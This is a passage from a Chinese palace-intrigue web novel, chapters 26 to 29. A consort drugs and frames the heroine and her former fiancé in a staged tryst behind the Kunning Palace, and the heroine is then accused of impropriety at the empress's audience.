侍立在一旁的大宫女雁容立刻上前,厉声道:“你要敢胡编半个字,立刻拖去暴室打死!”
雁容这是太尉府特意为她挑选的陪嫁,身形结实,长脸细目,行事利落,还会点拳脚功夫。
小冬子慌忙抬头:“奴才……不敢胡说,那日蔺院使给了银子,让奴才拿玉牌去请慧选侍,选侍便跟着奴才去了御花园,奴才若是撒谎,天打雷劈!”
玉嫔听了,抿了抿唇,看向雁容。
雁容凑到她耳边,低声道:“奴婢打听过了,慧选侍原本是蔺院使未过门的妻子,不知怎的,成婚当天被召进了宫。”
玉嫔眉心微蹙。
雁容转身又问小冬子:“依你看,若是再递话,他俩还会不会见面?”
小冬子缩着脖子:“蔺院使对她应当还有情分……但慧选侍如今怎么想,奴才实在说不准。”
雁容冷笑一声:“明日你想个办法,递话给蔺院使,让他去坤宁宫后苑见面。”
小冬子脸色一白:“这私传消息是犯忌的,奴才……奴才不敢再做了。”
“慌什么,你前面不是做了吗,不是也没出事吗,”雁容从袖中取出一个沉甸甸的银包,丢在他跟前,“又不是让你**放火,不过是传句话,这银子你先拿着,事成之后,也不必回御药房了,直接调你去宫外营造司当差,那可是个肥缺。”
小冬子盯着那包银子,喉结动了动,脸上挣扎了几下,终是俯下身重重磕了个头:“奴才……谢玉嫔娘娘恩典!”
玉嫔这才轻轻放下茶盏,声音温淡:“去吧,做得干净些。”
小冬子攥紧银包,弓着身退了出去。
殿内恢复寂静,只有炉火偶尔噼啪一声。
玉嫔望向窗外渐暗的天色,轻声自语:“未婚夫妻……倒是该成全两人的情意。”
太尉府如今掌管的天下一半的兵马,最大的障碍便是镇国公府,她这次选秀,父亲便暗示他必须除去镇国公嫡小姐顾轻眉,可自从那日布局功败垂成,回去后便遭到了冷遇,祖父还说,若她再行动不利,自己还有其他孙女。
思前想后,自己已经不能再迟疑。
她觉得是楚念辞作梗,导致自己功败垂成。
为此她吃不好,睡不香,为今之计,必须将楚念辞先除去,方好进行下一步。
雁容低声接话:“娘娘打算怎么做?”
玉嫔微微一笑,那笑容里却没什么温度:“明日阖宫觐见,慧选侍已经是有名号的小主,一定会去坤宁宫,他们夫妻相见,一定很有意思。”
“……若是下手太重,触犯了皇后。”雁容还有几分犹豫。
“本宫已打听了,大婚后,皇上并未与那皇后行合卺礼,可见皇后无用,不必管她。”玉嫔冷冰冰道。
“奴婢听说,皇后那边利用俏贵人给淑妃下了点药。”雁容轻声提醒。
“什么药?”玉嫔皱着眉头问。
“是催经的药,”雁容道,“虽不致命,可淑妃肯定无法侍寝了。”
“乱吧,乱才好呢,乱了咱们才好收渔翁之利,”玉嫔阴狠道,“既如此,本宫不妨再帮皇后一把,让这催经的药,变成催命符。”
如果能通过这件事,除出宰相府势力,又削弱中宫殿的权力,一举两得,祖父一定乐见其成。
再说除掉皇后和淑妃,侍寝就剩下嘉妃与自己了。
雁容会意,低头应承。
“虽未必当场捉奸,但只要他们见面,咱就可以把脏水往她们身上泼。”雁容赔笑道。
“若是泼脏水,到头来免不了会让嬷嬷验身,”玉嫔眸中闪过一道冷光,“若是验身,若还是处子,岂非白忙活。”
“娘娘多虑了,听说她千里迢迢从南方嫁到西京,在蔺府与他同居了半年,若不是陛下诏蔺院使南下,两个孩子都生出来了,”雁容笃定道,“我们只要收买稳婆,她的身体状况,还不是由我们说。”
玉嫔满意地抽出帕子掖了掖唇角,冷笑一声道,“这么好的故事,不该只有我们知道,你找个人,悄悄将这件风流韵事告诉俏贵人,她是个大嘴巴,过不了几天,就会传得阖宫皆知。”
“另外,这个小冬子……事成之后,”玉嫔做了个了断的手势,“记得让人在他茶里加点料,
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为夫妻相会增添点情趣。”
说完,玉嫔从妆台屉子底下,摸出一枚红宝石戒指,道:“想办法交给俏贵人宫人,就说这玩意能让她心想事成,记得做干净点,别留下首尾。”
雁容会意,点头应声而去。
炭炉火暖光映在玉嫔沉静老辣的侧脸上,一半明亮,一半晦暗,心想,必须明日把这个不确定因素除掉。
第二天是阖宫觐见的日子。
楚念辞一早起身,对镜看了看那张脸。
即便不施粉黛,依旧明艳得有些扎眼。
平日里穿戴都由侍女团圆打理,今日她却有了主意。
“小主,今日穿哪一套?”团圆轻声问。
楚念辞心里清楚,自己在这批新人里不过是个小小选侍,虽有“慧”字封号,却没几个人真把她放在眼里。
今日她是去当“眼睛”的,若打扮得太招摇,反而引人注意,平白树敌。
“就那套选侍的常服吧。”她选了最素净的一身。
这也算是给皇后一个面子,免得对方觉得她仗着御前身份张扬。
团圆利落地为她更衣梳妆。
镜中人只点了淡淡口脂,月白衣裙仅以素蓝镶边,裙摆零星绣着几枝草花,比宫女装只稍显身份。
即便如此刻意收敛,那份骨子里的明艳依旧掩不住。
“会不会太素了?”团圆有些担心,“那些人惯会看衣装行事……”
“我明白‘先敬罗衣后敬人’的道理,”楚念辞平静道,“但现在不是招摇的时候。”
团圆点点头,又压低声音:“小主,满宝今早悄悄告诉我,陛下虽常去皇后宫中,却从未留宿。”
楚念辞对此并不意外。
先帝将幼主托付给三大权臣,如今三家势大,皇后本该出自其中。
太后却把后位给了蔺家女,分明是想扶个傀儡制衡三家。
皇帝顺水推舟,未必真将皇后放在心上。
她记得前世曾偶然听见,帝后大婚未曾圆房。
皇帝要的不过是朝局平衡……一旦皇后生下嫡子,局面就可能失控。
那位无宠无子的皇后,前世对她并无照拂。
如今重活一回,楚念辞也没打算干涉对方最终被废的命运。
她让团圆找来小太监满宝,就是在觐见前先把宫里的情形摸清。
她从不打无准备地仗。
楚念辞知道,明日会有一件重要的事发生。
前世楚舜卿因那件事得了帝王嘉奖,回来便得意扬扬地逼她让出正妻之位。
只是当时楚舜卿未曾透露具体细节。
这一回,她准备随机应变,争取抢在楚舜卿之前,把那份功劳夺过来。
第26章 慧选侍相约
楚念辞如今是御前有品阶的大宫女,按规定能分配一个粗使宫女和一个太监。
团圆自然是跟着她的,至于太监,她在这宫里没什么认识的人,打听得刚入宫时引路的小太监满宝外号“包打听”,瞧着甚是机灵,前几天便让团圆去内务府把人要了过来,并且吩咐他去打听一下储秀宫的状况。
她梳洗完毕,让团圆传满宝,小太监在门外候了一会儿,得了准许才进来,一见面就扑通跪下:“奴才满宝,给慧选侍请安。”
楚念辞不清楚他是不是别人安排的眼线,初来乍到一时也难判断,只能日后慢慢看。
她端坐在贵妃榻上,只微微一扬眉,神色间自然带上了主子的威仪。
前世是一品诰命,自知御下之道,无非是先给个大棒,再给个甜枣,宽柔相济,才能收复人心。
她先和气地说了几句“往后都是自己人”的话,随即语气一转,不轻不重地警醒了他一番。
满宝忙不迭表忠心。
楚念辞不在意他是真心还是做戏,照例赏了二两银子。
她早打听过,小太监月钱也就一两。
让人打听消息,少不了打点,她嫁妆厚,出手也大方。
得了赏,满宝笑容更殷切了,吉祥话说了一串,又主动道:“小主有什么想知道的,尽管吩咐,不瞒您说,奴才在宫里有个绰号叫‘包打听’,除了顶机密的事,大小消息多少都能探到些。”
楚念辞听那包打听三个字,便忍不住掩口轻笑,便问:“油嘴滑舌,那你说说,淑妃、悦嫔和俏贵人,都是什么来历?”
另外几位新晋宫嫔的底细她已知晓,唯独这三人还不清楚。
“这三位啊,”满宝掰着手指头,如数家珍,“淑妃是老宰相的嫡孙女,刚满十六,听说老宰相惧内,老夫人当家,把这孙女惯得脾气骄横,又和陛下青梅竹马的情分,陛下原定的皇后是她,可惜被蔺皇后横插一杠子,自是有些不满的,今日怕是有些冲撞,小主只坐干岸就成,千万别掺和,悦嫔是礼部尚书的庶女,性子最是温和懂规矩,一进储秀宫,便锁着房门,也不同别人来往,至于俏贵人……”
他左右瞧瞧,声音压得更低:“是内务府令外室所生,娇美柔媚,才艺双绝,为了进宫才硬记在正室名下,听说这次所有小主里,皇后娘娘给她打赏最多,看样子是笃定她能得圣宠。”
满宝说得头头是道,把团圆和楚念辞都逗笑了。
“她们这两天在干什么?”楚念辞笑着问。
“小主们都在储秀宫,淑妃已经开始喝坐胎药,预备着侍寝,”说完,偷偷从口袋里,掏出一条帕子道,“小主让我关注储秀宫,奴才便自作主张,包了一点淑妃的药渣,您看看。”
楚念辞示意团圆接过来放在桌上。
她从头上拔下银簪细细查看。
倒是没有什么妨碍之物,只是在帕子里发现了一些益母草与当归。
她黛眉微皱,这坐胎药里一般都是保宫温血的药物,而益母草是催经用的。
楚念辞指着益母草问,“这药当真是淑妃坐胎药?”
“确实是淑妃娘娘的,”满宝答道,“奴才敢打包票。”
这是谁给淑妃下了催经活血的药,到底意欲何为?
可淑妃与自己并无来往,楚念辞也不想管这闲事。
再说这事自己可以过问的,但得向端木清羽支会一声。
这时,满宝偷偷抬头瞧了她一眼,欲言又止。
“还有什么事?”楚念辞见他吞吞吐吐,不由脸上不悦。
“小主,有件事我说了,您可不要生气,也不知道是从哪里传出来的消息,说您与蔺院使有瓜落。”满宝越说声音越低,还转着咕噜的大眼珠子,偷偷打量主子。
楚念辞心头一沉。
整个脸就沉下来了,这传言出来的蹊跷。
满宝低头缩着脖子,跟个鹌鹑似的低着头。
楚念辞垂眸,修长的手指一下一下敲着桌面。
她与蔺景瑞从前的事虽不是秘密,但偏偏在阖宫觐见前传开,倒像有人刻意搅局。
可是不知道对方意欲何为,眼下只能见招拆招。
正想着,团圆捧着锦盒进来,说是陛下让她去坤宁宫时顺道带去的,赏给各位新晋小主的礼物。
楚念辞打开一看,是一盒六支宫制珠花簪子。
样式精致好看,细看花蕊里嵌的是实打实的东浦明珠,只是不显眼。<
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br>另有一支单独赏她的栀子花玉簪,用料做工更是上乘。
她拿起那支栀子簪细看,竟用一整块的白翡翠雕成。
栀子,谐音“知之”。
陛下这是……让她去听去看,把动静摸清楚。
想起前几日那句“万死不辞”,她嘴角微扬……差事来得真快。
虽差事简单,不必万死,但这事得仔细办。
她将栀子簪插在发髻上,对满宝吩咐:“去和斓贵人说,我在坤宁宫后苑等她,一道觐见。”
又指着一包药对团圆说:“你不必跟我去,若我午时未归,把这药交给敬喜公公,就说这是淑妃的坐胎药,请他引陛下去趟坤宁宫。”
她不知背后是谁在布局,但得留一手。
只要把话递到,出什么乱子都牵扯不到她身上。
如今她在这宫里无依无靠,能靠的只有陛下。
既然他调自己入养心殿,又派了差事,那自己就算是他的人,哪怕为了颜面,他也会护一护。
嘱咐妥当,她独自端上礼盘,往坤宁宫去。
同一时刻,御药房里几个小学徒正凑在一处嘀咕。
“听说了吗?蔺院士不知怎的惹了陛下,如今不许他进养心殿了。”
“好像是为了个女人……”
“该不会是陛下的女人吧,嘿嘿……”
几个小学徒凑着头,一阵嘻嘻哈哈地乱笑,可还没笑完,门外忽传来一声咳嗽……
蔺景瑞沉着脸走进来,屋里顿时静了。
他冷冷扫了众人一眼,在椅子上坐下:“看来平时事情还是太少,都这么闲得慌?”
学徒们噤若寒蝉。
一个小徒弟战战兢兢捧上茶,蔺景瑞接过,杯盖轻轻一磕,几个人顿时俯首帖耳地站好。
“再让我听见谁乱嚼舌根,”他缓缓道,“就卷起铺盖滚出御药房。”
众人连呼吸都放轻了。
这时,他的心腹小冬子在门口探头。
蔺景瑞皱眉:“小冬子,鬼鬼祟祟地干什么,你们几个都滚下去,别在这杵着。”
小冬子缩着脖子凑近,等旁人退下,才装模作样递上一杯茶,压低声音:“院使……慧选侍托人带话,说在坤宁宫后苑等您。”
第27章 捉奸成双
蔺景瑞一怔。
慧选侍?楚念辞?
这几回见面,她哪次不是冷言冷语,恨不得与他划清界限?
那般决绝的模样,早将他心里那点念想碾得粉碎,若不是心底的那点不甘和思念支撑,他几乎想放弃了。
可如今……她竟主动要见他?
难道是这些时日在御前受了委屈?吃了苦头?终于……后悔了?
这念头像星火落进枯草,轰地在他心里烧成一片。
一股滚烫的狂喜直冲上来,撞得他心尖发麻。
“啪”一声轻响……不知不觉他手里的茶盖滑落在地,碎成几片。
他却看也没看,豁然起身踩着碎瓷片往外走,脚步又快又急,衣角带起一阵风。
“院使大人,您的披风……”小冬子在身后唤他。
蔺景瑞却像没听见,径直穿过庭院,朝上林苑方向奔去。
坤宁宫的翘角飞檐,就在远处树影间隐约可见,他越走越快,几乎要跑起来。
心底那个名字翻来覆去地烧着:念辞,念辞……你终于肯见我了,终于可以原谅我了。
蔺景瑞一路跑得气喘吁吁,路上遇到了禁卫,他也脚步不停,毕竟他现在是王爷,禁卫也不敢上前阻拦,所以他直跑到坤宁宫,一路毫无阻碍。
到了才发觉来得太早,四下空无一人,静悄悄的,连风都柔软温和,他站在长廊里,这是养心殿通往坤宁宫的必经之路,嫔妃们一般不会到这儿来,
冬日稀薄的阳光洒在坤宁宫黄色的殿顶上,泛起粼粼碎光。
他站在那儿平复呼吸,心跳却越来越快,不是因为奔跑,而是那股翻涌上来的希冀。
念辞心里一定还有他。
否则当初怎会答应嫁给他?
她最是孝顺,自己是她母亲,亲选的女婿,定是她又想起她母亲当初殷殷期盼。
如今她在陛下宫里吃了苦头,她那家世,定是受了排挤。
知道回头了……是不是意味着,他们还能破镜重圆?
这念头让他胸口发热,激动得眼眶发红。
若等会儿念辞真提出来赶走楚舜卿,他便立刻答应,告诉她自己是被楚舜卿蒙蔽了。
这段时间他越来越思念,每每想起她,都是第一次见到她时,那面若春棠,唇如花蕊,含羞带怯的模样。
至于舜卿……到底是亡兄的**,乖乖听话,便让她在京城另赁宅子,若再不顺从,打发去庄子养着便是,也算仁至义尽。
楚念辞虽进过宫,并未侍寝,仍是完璧,带回来也不丢脸,越想越觉得妥当。
她若回来,那丰厚的嫁妆自然也跟着回来,母亲的药钱便有着落了,伯府这段时日捉襟见肘的窘迫也能缓解。
楚念辞精于庶务,里外事务定会打理得妥妥帖帖,他便可安心在太医院经营,也好更周全地帮衬皇后娘娘……
只要娘娘生下嫡子,日后坐上皇位,他便是坁国柱石,再也不用招人白眼。
他越想越顺意,不觉来回踱步,思绪越飞越远,几乎已将往后种种顺遂场景描绘得一清二楚。
至于楚念辞在宫中经历了什么、为何忽然转变……他并非毫不疑虑,只是那点疑虑很快被眼前触手可及的好处冲淡了。
风轻轻拂过亭角檐铃,叮咚一声轻响,远处传来窸窣的脚步声。
蔺景瑞停下脚步,望向小径来处,嘴角不自觉浮起一丝笑意。
一道修长而窈窕的身影出现在石径尽头。
他整了整衣襟,背脊挺得笔直,仿佛已经看见那道淡紫色的身影正朝自己奔来,而他只需伸出手,便能接住失而复得的全部念想。
这么想着,蔺景瑞快步朝她走去,边走边说:“念辞,你终于来了,我等得好心焦。”
楚念辞一路走,一路欣赏上林苑雪景,刚到坤宁宫后苑,下意识侧过头,目光猛地撞进一双热切的眼睛里。
蔺景瑞正朝她走来。
他脸上带着笑,那双黑琥般的眸子亮得灼人,里头的情意几乎要满溢出来。
楚念辞心头一沉。
瞬间明白这事儿极为不妥……自己怎可与外男相见,尤其是他。
方才领路的小宫女早已不见踪影。
她当即后退一步,转身就要走。
“念辞!”蔺景瑞几步上前,一把攥住她的手腕,“不是你让人叫我来的吗?”
楚念辞用力甩开他的手,视线迅速扫过四周,语气冷漠:“蔺景瑞,这是坤宁宫,今日合宫觐见,处男无诏不可入内,你出现在此,说不得就是中了别人的计,我不管你为什么在这儿,若不想惹祸上身,现在就原路返回,我只当没看见。”
蔺景瑞一愣,眉头皱了起来:“有人设计?我从未得罪过谁……”
他盯着楚念辞,眼里那点欣喜渐渐被怀疑取代,“你是不是又后悔了,才编这种话搪塞我?”
“我没空跟你扯这些!”楚念辞转身就走。
蔺景瑞却追上来拦住她,嘴角勾起一抹热切弧度:“你既然来了,又何必急着走?”
他声音压低,带着几分不依不饶的试探,“你同我说句实话……是不是在宫里过得不顺心?”
楚念辞避开他逼近的目光,心里又急又恼。
远处树影微动,她不敢再耽搁,冷声道:“让开。”
蔺景瑞反而更近一步,伸手想去碰她的衣袖:“念辞,你想耍我……”
楚念辞猛地侧身躲开,头也不回地飞奔。
蔺景瑞见她动作决绝,觉得自己又被她耍了,眼神渐渐晦暗阴贽,一股恼恨冲上心头,他追上去一把从背后抱住了她的腰……
登时,一股清幽馥郁的少女体香冲入了鼻子。
他这几次与楚舜卿欢好时,眼中浮现全是楚念辞的脸,每每对她有遐思,今日能得她入怀,心底那团邪火被勾越烧越旺,马上都快燎原了。
他搂着怀里柔软馨香的娇躯,看着她娇花般的美颜,一股欲望冲到脑中。
酥酥麻麻之间,他突然感到心中愕然,自己也不是那急色之人,怎么会如此,蓦然之间,他想到了那杯茶,小冬子递给自己的那杯茶……
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他拼命地想把欲望压下去,可一股难耐的**又压不下去。
于是蔺景瑞不管不顾地想。
我原本好好说话,她却这般反应,好似说不通,既然好言好语她听不进去,还这般对自己决绝,反正瞧她这副模样,想让她心甘情愿回去是不可能的了。
还不如先得了手,说不定待她尝到了甜头,反而不会这般抗拒,到时候再向陛下求个恩典。
说到底自己也是他的内兄,谅他也不会把自己如何。
电光火石之间,只觉得手腕一痛,紧接着“啪”的一个耳光重重地掴在他的脸上,那手上戒指从他的脸上刮过,顿时感到脸颊一阵一阵锐痛。
蔺景瑞被打了身子朝旁边一偏,尽管脸上一阵阵痛,但他的目光还是一片迷离……
楚念辞见他双目迷离面色潮红。
这是中了药,手中金针飞快扎进他几个要穴。
蔺景瑞眼神逐渐清明。
楚念辞正要转身离开,不远处的冬青树丛后忽然传来一道清脆的声音:“哎呀呀,俏妹妹,你听……那边是不是有动静?”
话音未落,两位衣着光鲜的丽人已从树后转了出来。
穿黄衫的那位背对着亭子,似乎还未看清情形,而她身旁身着红裙的少女,却已瞧见了亭中二人,惊得微微张开了嘴,尖着嗓子啊了一声。
黄衫女子闻声回头,正是玉嫔。
她与俏贵人本是去给皇后请安,路过此处,心知事成,却装成故意撞见这一幕。
俏贵人一时都怔住了。
片刻,还是玉嫔先回过神来,娇俏的声音陡然转厉:“你们在此做什么!”
楚念辞心猛地一沉,知道此刻已无法脱身,只得迅速站定,垂首不语。
蔺景瑞亦是脸色发白,才知自己真的是被人坑了,咬牙捂着赤红的脸,转身想走。
“站住。”玉嫔轻轻一摆手,十几个太监宫女立即从四面围了上来,将两人去路堵得严严实实。
她缓步走近,见蔺景瑞面色潮红,捂着那处,顿时羞得面红耳赤,呸了一口,别过身过呵斥:“光天化日,慧选侍竟敢与外男在这僻静之处私会……倒是让本宫开了眼界。”
“玉嫔娘娘容禀,”楚念辞福了一福,恭谨道,“我是去拜见皇后娘娘,也刚走到这里,偶然遇见这人,连话都不曾说一句,怎么就成了私会外男。”
“偶然遇见?”玉嫔轻笑,一双精光内敛的杏眼眸光犀利,“倒是赶巧,偏在这儿‘偶然’遇上了,谁信啊。”
“定是深宫寂寞,在此通奸。”俏贵人在一边冷笑。
楚念辞深吸一口气,冷笑:“这位娘娘,真是睿智,如何知道臣妾恰好此在此处与通奸,莫非你一早就知道。”
“你……你好个尖牙利齿贱婢,”俏贵人看着她低等宫人衣饰,斥道,“娘娘,此等贱婢无需与她浪费口舌,送去慎行司打一顿,就老实了。”
“来人,给本宫把她捆了!”玉嫔也不废话直接道,“把她送到掖庭的慎刑司去。”
第28章 阖宫觐见,俏贵人发难。
两名太监按住楚念辞的胳膊,旁边的蔺景瑞也被架住。
玉嫔竟连皇后也不请示,直接就要把人送进慎刑司……
现在楚念辞还有什么不明白的,这场捉奸的戏码就是玉嫔安排的。
“臣妾是养心殿的人,就算要发落,也该经过陛下,”楚念辞挣扎着喊道,同时亮亮了手中的托盘,“陛下让臣妾送赏赐,你们敢亵渎天使。”
几个太监有点犹豫。
“捆了,等会儿本宫再向陛下解释。”玉嫔咬着牙道。
既然已经翻脸,必须将她踩死,否则让她缓过劲来,岂不是自找麻烦。
自打上回在撷芳殿被这女人坏了事,她心里早就恨毒了对方,巴不得踩死。
“住手!”一声清亮的娇斥声传来。
一身深青色贵人宫装的丽人,快步走来,她发梳飞仙髻,姣美端正,温婉大方,而她身边戴着俊俏宫女正是红缨。
红缨一看旧主被人押住,眼睛顿时就红了。
二话不说上前,利落地格开太监的手,把楚念辞拉了回来。
“斓贵人,你这是要犯上吗?”玉嫔眯起了眼睛。
沈澜冰不慌不忙,先向玉嫔行了礼,又朝一旁的俏贵人点了点头,这才开口:“玉嫔姐姐息怒,不知慧妹妹犯了什么事,竟要送去掖庭?”
“她私会外男。”俏贵人嘴快,眼底藏着炉火。
她之所以咬死楚念辞不放,根源在脸上。
楚念辞与她,竟有五分相像,都是浓丽娇艳的长相,身段也一般玲珑。
可细看下去,对方眉间一点红痣,姿态挺拔清正,娇艳里透着韧劲,如雪中红梅,胜过自己。
女人对敌人,天生敏感。
俏贵人顿时炉火中烧。
“慧妹妹毕竟是养心殿的人,即便不发回由陛下处置,也该先禀过皇后娘娘才是。”沈澜冰话说得客气,腰杆挺得笔直。
双方对峙,各不相让。
这时,一直被按住蔺景瑞突然朝着人群后扯着嗓子喊起来:“夏冬,夏姑姑救本世子啊!”
刚巧夏冬正从长廊那头拐过来,带秀女去觐见皇后。
听见喊声回头一看,眉头立刻拧紧了:“世子爷?这是闹哪一出?”
她让众妃等着,自己走过来。
蔺景瑞挣脱两太监,一边整着衣衫,一边呵斥:“岂有此理,平白冤枉本世子,当我承恩伯府好欺,要面见皇后申冤。”
他这一嚷嚷,在场众人都猜出他的身份。
承恩伯世子,皇后的内弟。
一个小宫女麻溜地上前,俯耳对夏冬刚才的事说了一遍。
夏冬听得心头火起,刻板的脸上细长的眉毛紧紧锁起。
不论世子怎么会到这里的,今天这日子,绝不能让这事闹太大,让人往皇后宫里泼脏水!
她刻板的脸色一沉,吊梢眼一竖,朝众人道:“世子爷先去偏殿等候,这事等回明皇后,让娘娘定夺。”
玉嫔与俏贵人对视一眼,眼下这情形,她也不敢直接跟皇后的人起冲突。
夏冬带上各妃嫔鱼贯入了坤宁宫正殿。
殿内灯烛雪亮,十分华贵,正前方是皇后的凤座,座后立着一架描金屏风,左右各摆着六张黄花梨木圈椅和小茶几,宫女们垂首站在两旁。
楚念辞四下打量。
玉嫔着粉色嫔位宫装,梳堕马髻,一双水汪汪的大眼睛,纯真得像只小鹿,还朝众人天真烂漫地笑了笑,脸颊边露出浅浅的酒窝。
俏贵人站在不远处,容貌娇艳,眉眼含情,身段丰腴惹眼。
顾轻眉脸上的红疹已经退了,一身紫色妃位服饰,乌发梳成利落的骑装样式,一副英气模样。
悦嫔样貌清秀,气质清冷疏离。
“皇后娘娘驾到……”太监尖细的通报声响起,所有人齐齐跪下。
蔺皇后在宫女的簇拥下,从雕凤描金的紫檀屏风后面缓步走了出来。
她今年二十岁,是宫中年纪最长,容貌娇美端庄,神情沉稳,今天穿着明黄色的朝服,金色广袖长衫,头发绾成流云髻,正中插着一支展翅金凤簪,凤嘴里垂下细细的流苏。
修长的脖颈上那条红宝石项链尤其夺目,熠熠生辉。
皇后微笑着抬手,让众人都起身落座。
楚念辞抬头正好对上楚舜卿冰冷的视线。
她怎么会在这儿?
转念一想,楚舜卿是皇后亲封的女医,跟在皇后身边伺候,倒也合情合理。
楚舜卿也很谨慎,见楚念辞看过来,立刻若无其事地移开了目光。
舜卿心里冷哼一声,不过是个低阶宫嫔,得意什么?
今天可是要出大事的,这事儿只有我知道,也只有我能解决。
等会儿得了皇后嘉奖,看你还能不能这么神气。
就在这时,殿门口忽然传来一阵环佩轻响。
“淑妃娘娘到……”通报太监的嗓音格外卖力。
一位雍容华贵的妃嫔缓步走了进来。
她首饰灿烂耀眼,衣裙流光溢彩……正是淑妃皇甫玉璃。
她生得额头饱满,脸庞丰润,身材高挑,一双微微上挑的杏眼,眼尾细长入鬓,妩媚中带着锋利,明艳不可方物。
她淡淡扫了一眼殿内的妃嫔,随手理了理鬓边那支赤金点翠凤钗,举止间自带一股天生的傲慢。
她只朝皇后稍稍屈膝福了福,便自己站直了身子,径直走到左边第一张黄花梨木椅前坐下,那可是贵妃才能坐的位置。
“臣妾参见皇后娘娘千岁千千岁!”
“淑妃娘娘吉祥万安!”
看着一众妃嫔唱喏后,跪在地上,大气也不敢出。
淑妃旁若无人扶了扶发钗,这才抬眼看向下跪众妃。
像在打量物件儿似的,竟然抢在皇后前面开了口:“皇后娘娘也该让内务府的奴才们尽尽心,赏下来的首饰,越发不成样子。”
殿内瞬间安静下来。
淑妃这话,明着是挑剔首饰,暗里分明是在讥讽皇后品位差、出手小气。
嘉妃皱紧了英气的眉头,悦嫔垂下眼不说话,斓贵人面露诧异,俏贵人悄悄攥紧了手里的帕子,连一向装天真的玉嫔,也收起了笑容。
蔺皇后手指微微收紧……却只作没有听懂,礼节性微笑。
淑妃不由暗暗得意。
皇后就是个傀儡,今日是新人请安的日子,若不能趁此立威,日后如何宠冠六宫、独占恩宠?
她必须叫新人们明白……谁才是将来后宫真正的主子。
淑妃慢悠悠抚了抚
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指尖的护甲,抬眼望向皇后颈间,继续嘲笑:“皇后这项链,宝石成色似乎欠佳,改日,臣妾给您送条好的来。”
蔺皇后并未动气,反而微微一笑:“妹妹费心,这是本宫与陛下大婚时御赐,不劳妹妹破费。”
“原来是大婚那夜所赐呀……”淑妃拖长了音,帕子掩了掩唇,“想必是姐姐日常也见不到陛下,这才特意安抚的吧。”
她将“安抚”二字咬得极重。
帝后大婚已过一月,皇甫玉璃早已买通收元帕的嬷嬷,得知皇后大婚那日,并没有落下元红。
皇后无宠,已是心照不宣的事,却从未有人敢当面挑破。
淑妃今日竟当着所有新人的面,直接撕开了这层遮羞布。
蔺皇后指尖一颤,但下一刻,她脸上便恢复了端庄的笑意。
自己家世无依,皇帝待她也淡,可已然坐上了凤位,无论如何也要守住后位。
不必争这一时口舌。
“妹妹们还跪着呢,”她温声提醒,“光顾着说话,都起来吧。”
“哟,瞧臣妾这记性,”淑妃这才轻笑一声,“光顾着和皇后说话了,妹妹们都快起来吧。”
她话音落下,众妃窸窸窣窣地站起,按位次坐下。
蔺皇后眼底掠过一丝笑意,温和道:“今日见这满殿新人,都是娇花般的年纪,往后陪伴陛下,本宫心里着实欢喜。”
淑妃眉梢一扬,娇笑道:“皇后自己年长侍奉不来陛下了,便寻这么多年轻妹妹来。”
她明讽皇后二十岁了。
“本宫确实不年轻了,”皇后笑道,“哪里比得上众位妹妹娇花般的年纪。”
她的重音落在娇花二字,提醒淑妃自己毕竟也有十七岁。
淑妃娇厉的双眸扫过底下众嫔妃……一个个打扮妖妖乔乔,瞧着便扎眼。
众目睽睽之下她不便发作,又知是皇后有意挑拨,只冷哼一声道:“妹妹们一来,臣妾是无妨,只怕娘娘日后要更清闲了。”
皇后眼底冷芒一闪,面上仍端着温婉:“再清闲也有六宫事务需要打理,但愿妹妹能多几日替本宫分忧,好好陪伴陛下,又别忘了礼让,也让妹妹们有机会侍奉陛下。”
“那是当然,”淑妃端起茶盏抿了一口,笑道,“妹妹定会替姐姐,好好服侍陛下,照顾好各位妹妹。”
蔺皇后不再接话,只转回头与众人温声叙话,倒将淑妃衬得越发跋扈。
见不少嫔妃眼中已露出对皇后的感激与敬重,楚念辞默默低头,掩去眼底一丝嘲弄。
若非重生知晓前事,她恐怕也要以为这位皇后真是温柔贤德。
殊不知,她给后宫嫔妃们的坐胎药中全加上了避子汤。
淑妃虽骄横,不过是跋扈,而皇后城府深沉,**不见血。
正静默间,站在一旁的俏贵人忽然用手掩着嘴唇,对着楚念辞娇声笑道:
“慧选侍,听闻你父亲是从六品小官,母亲是低微商女,根本没有入宫资格,却凭好容貌,入了陛下眼,破例给了选侍位份……可为何,不感念圣恩,与承恩伯世子拉拉扯扯,简直是宫规于无物?”
她声音娇柔妩媚,绵里藏针。
一瞬间,所有目光都落到了楚念辞身上。
第29章 验贞
一瞬间,所有人的目光都**到了楚念辞身上。
这时候大家才注意到,这个坐在角落、衣着最素净的小小选侍。
她只微微抬了下头,整间殿里花枝招展的妃嫔们,竟好像都跟着黯淡了几分。
那张脸明艳得有些晃眼,新入宫的妃嫔里已有人藏不住妒色。
大家都是新入宫的,凭什么楚念辞就能进养心殿?
论出身,谁不比她强?她父亲不过从四品,母亲还是商户之女。
淑妃坐在上首,眼神如刀,妒意几乎藏不住,只等皇后如何处置。
坐在稍远处的沈斓冰脸色发白,不慎碰翻了茶碗,“叮”的一声轻响。
楚念辞悄悄递去一个安抚的眼神,让她稍安勿躁。
她却不慌不忙,捧着那盒宫花上前向皇后行礼:“臣妾如今在御前当差,今日是奉陛下之命,来为各位小主送赏赐的,方才在殿外恰巧遇到世子,只说了几句话,俏贵人便一口咬定臣妾不清白,俗话说捉贼拿赃,捉奸捉双,请问贵人可有证据?”
她重点证明自己是替皇上送东西的。
果然话音一落,众妃神色都微妙起来。
皇后的脸色明显有些僵,指尖在椅背上轻轻蜷起。
淑妃将一切看在眼里,慢悠悠端起茶盏,嘴角似笑非笑,一副等着看好戏的模样。
楚念辞是代表皇上来送东西的。
若她真与皇后弟弟有私,那丢脸的可不止她一人,更是打了皇上和皇后的脸。
谁还敢轻易出声?
殿内一时静极,众妃低眉垂眼,抱定不开口,不惹麻烦。
她心里清楚,从宫门口被拦到现在,全是玉嫔布局就是冲自己来的。
只是玉嫔见风使舵,缩了回去。
俏贵人嘴快,豁出去来咬自己。
俏贵人此刻也慌了。
她根本不知道楚念辞在御前当差,陷害楚念辞纯属听了风言风语加上一时脑热嫉妒。
但事到如今,只能硬着头皮上了,她扬声道:“这要什么证据?看见的可不止臣妾一人,玉嫔娘娘也瞧见了,方才还要将人押去掖庭呢,皇后娘娘若只因她是御前的人便不追究,往后宫人个个都和外男拉扯不清,这后宫规矩岂不成了笑话?”
这话说得极重,若皇后再不处置,便要落下“纵容秽乱”的名声。
蔺皇后眉头微皱。
端庄的脸上掠过一丝阴云,心中恨不得楚念辞立刻消失。
她早知楚念辞进宫对自己不利,却没想到对方竟敢在选秀当天与端木景瑞私见……
这事若处理不好,就是纵容秽乱,若严惩楚念辞,又等于给皇上扣了顶绿帽。
